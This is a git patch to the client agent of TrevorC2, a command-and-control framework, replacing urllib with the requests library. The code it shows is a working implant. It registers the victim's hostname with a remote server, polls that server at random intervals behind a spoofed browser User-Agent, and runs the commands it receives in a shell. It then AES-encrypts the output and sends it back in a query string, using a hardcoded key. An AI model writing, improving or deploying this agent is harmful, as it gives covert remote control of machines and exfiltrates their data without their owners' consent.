From 29706d87c5d75217f3bb68c15e5fc8d2c1823f87 Mon Sep 17 00:00:00 2001 From: Nasreddine Bencherchali <8741929+nasbench@users.noreply.github.com> Date: Sat, 22 May 2021 23:25:26 +0100 Subject: [PATCH] Added requests support - Replaced urllib by requests - Wrapped the "stdout_value" with an "str" function to allow concatenation. Because the "Popen" function return a "byte" string in python3. --- agents/trevorc2_client.py | 45 ++++++++------------------------------- 1 file changed, 9 insertions(+), 36 deletions(-) diff --git a/agents/trevorc2_client.py b/agents/trevorc2_client.py index 08e4c33..6e8a5fb 100644 --- a/agents/trevorc2_client.py +++ b/agents/trevorc2_client.py @@ -36,12 +36,8 @@ CIPHER = ("Tr3v0rC2R0x@nd1s@w350m3#TrevorForget") # python 2/3 compatibility, need to move this to python-requests in future -try: - import urllib2 as urllib - py = "2" -except: - import urllib.request, urllib.parse, urllib.error - py = "3" + +import requests import random import base64 import time @@ -51,7 +47,6 @@ from Crypto import Random from Crypto.Cipher import AES import sys import platform -import cookielib # AES Support for Python2/3 - http://depado.markdownblog.com/2015-05-11-aes-cipher-with-python-3-x class AESCipher(object): @@ -90,6 +85,7 @@ class AESCipher(object): return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8') + # establish cipher cipher = AESCipher(key=CIPHER) @@ -99,7 +95,7 @@ def random_interval(time_interval1, time_interval2): return random.randint(time_interval1, time_interval2) hostname = platform.node() -cookie = cookielib.CookieJar() +req = requests.session() def connect_trevor(): # we need to registery our asset first @@ -110,16 +106,8 @@ def connect_trevor(): hostname_send = base64.b64encode(hostname_send).decode('utf-8') # pipe out stdout and base64 encode it then request via a query string parameter - if py == "3": - req = urllib.request.Request(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + hostname_send, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}) - opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie)) - html = urllib.request.urlopen(req).read() - break - else: - req = urllib.Request(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + hostname_send, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}) - opener = urllib.build_opener(urllib.HTTPCookieProcessor(cookie)) - html = opener.open(req).read() - break + html = req.get(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + hostname_send, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}).text + break # handle exceptions and pass if the server is unavailable, but keep going except Exception as error: @@ -136,14 +124,7 @@ while 1: try: time.sleep(random_interval(time_interval1, time_interval2)) # request with specific user agent - if py == "3": - req = urllib.request.Request(SITE_URL + ROOT_PATH_QUERY, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}) - opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie)) - html = urllib.request.urlopen(req).read().decode('utf-8') - else: - req = urllib.Request(SITE_URL + ROOT_PATH_QUERY, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}) - opener = urllib.build_opener(urllib.HTTPCookieProcessor(cookie)) - html = opener.open(req).read().decode('utf-8'); + html = req.get(SITE_URL + ROOT_PATH_QUERY, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}).text # - What we split on here on encoded site parse = html.split("")[0] @@ -155,19 +136,11 @@ while 1: # execute our parsed command proc = subprocess.Popen(parse, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout_value = proc.communicate()[0] - stdout_value = cipher.encrypt(hostname + "::::" + stdout_value).encode('utf-8') + stdout_value = cipher.encrypt(hostname + "::::" + str(stdout_value)).encode('utf-8') stdout_value = base64.b64encode(stdout_value).decode('utf-8') # pipe out stdout and base64 encode it then request via a query string parameter - if py == "3": - req = urllib.request.Request(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + stdout_value, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}) - opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie)) - html = urllib.request.urlopen(req).read() - - else: - req = urllib.Request(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + stdout_value, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}) - opener = urllib.build_opener(urllib.HTTPCookieProcessor(cookie)) - html = opener.open(req).read() + html = req.get(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + stdout_value, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}).text # sleep random interval and let cleanup on server side time.sleep(random_interval(time_interval1, time_interval2))